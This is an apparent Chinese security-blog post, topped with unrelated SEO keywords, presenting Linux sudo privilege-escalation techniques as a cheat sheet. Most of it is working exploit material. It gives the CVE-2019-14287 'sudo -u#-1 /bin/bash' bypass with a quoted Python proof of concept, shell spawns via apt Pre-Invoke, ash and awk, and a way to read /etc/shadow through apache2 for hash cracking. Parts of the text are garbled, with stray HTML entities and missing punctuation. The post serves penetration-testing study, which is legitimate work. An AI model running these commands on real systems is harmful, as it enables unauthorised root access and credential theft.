公司网站备案需要什么资料,地域名网址ip查询,单页营销网站怎么做,陕西网站建设企业#x1f36c; 博主介绍#x1f468;#x1f393; 博主介绍#xff1a;大家好#xff0c;我是 hacker-routing #xff0c;很高兴认识大家~
✨主攻领域#xff1a;【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
#x1f389;点赞➕评论➕收藏 … 博主介绍 博主介绍大家好我是 hacker-routing 很高兴认识大家~
✨主攻领域【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 养成习惯一键三连
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限欢迎各位大佬指点相互学习进步 目录 前言
1、CVE-2019-14287漏洞
2、sudo apt
3、sudo apache2
4、sudo ash
5、sudo awk 前言
【「红队笔记」Linux提权精讲Sudo风暴 - Sudo风暴全70讲扫地僧级别心法研究提权技术的同时打磨你对linux内核的深度理解。渗透测试宝典。】 「红队笔记」Linux提权精讲Sudo风暴 - Sudo风暴全70讲扫地僧级别心法研究提权技术的同时打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili 1、CVE-2019-14287漏洞
sudo提权利用 下面的不用密码直接执行 /bin/bash 然后拿root权限
sudo -u#-1 /bin/bash在exploit上面也可以找到
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical HackersThe Exploit Database - Exploits, Shellcode, 0days, Remote Exploits, Local Exploits, Web Apps, Vulnerability Reports, Security Articles, Tutorials and more.https://www.exploit-db.com/ 我们可以看到下面Exploit 里面的介绍和漏洞演示
这是一个关于 sudo 版本 1.8.27 存在安全绕过漏洞的 exploit。这个漏洞可以被利用来绕过 sudo 的限制允许未经授权的用户以 root 用户执行特权命令。
这个漏洞由 Joe Vennix 发现并分析Exploit 作者是 Mohin Paramasivam。该漏洞编号为 CVE-2019-14287影响版本为 1.8.28。建议所有用户升级到修复此问题的 sudo 版本 1.8.28。
sudo -v |grep version //查看sudo版本# Exploit Title : sudo 1.8.27 - Security Bypass
# Date : 2019-10-15
# Original Author: Joe Vennix
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : Sudo 1.8.28
# Tested on Linux
# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
# Fix : The bug is fixed in sudo 1.8.28
# CVE : 2019-14287Check for the user sudo permissionssudo -l User hacker may run the following commands on kali:(ALL, !root) /bin/bashSo user hacker cant run /bin/bash as root (!root)User hacker sudo privilege in /etc/sudoers# User privilege specification
root ALL(ALL:ALL) ALLhacker ALL(ALL,!root) /bin/bashWith ALL specified, user hacker can run the binary /bin/bash as any userEXPLOIT: sudo -u#-1 /bin/bashExample : hackerkali:~$ sudo -u#-1 /bin/bash
rootkali:/home/hacker# id
uid0(root) gid1000(hacker) groups1000(hacker)
rootkali:/home/hacker#Description :
Sudo doesnt check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is roots idand /bin/bash is executed with root permission
Proof of Concept Code :How to use :
python3 sudo_exploit.py#!/usr/bin/python3import os#Get current usernameusername input(Enter current username :)#check which binary the user can run with sudoos.system(sudo -l priv)os.system(cat priv | grep ALL | cut -d ) -f 2 binary)binary_file open(binary)binary binary_file.read()#execute sudo exploitprint(Lets hope it works)os.system(sudo -u#-1 binary) 2、sudo apt
通过sudo -l 命令发现存在apt提权然后输入下面的命令就可以拿到root权限了
sudo apt update -o APT::Update::Pre-Invoke::/bin/shapt | GTFOBins https://gtfobins.github.io/gtfobins/apt/#sudo 3、sudo apache2
sudo apache2 -f /etc/shadow //列出错误的root哈希值利用john进行爆破 4、sudo ash
发现ash因为ash本身就是一个shell所以我们直接sudo ash就可以拿到root权限了 5、sudo awk
查看sudo提权发现awk存在 sudo awk BEGIN {system(/bin/sh)}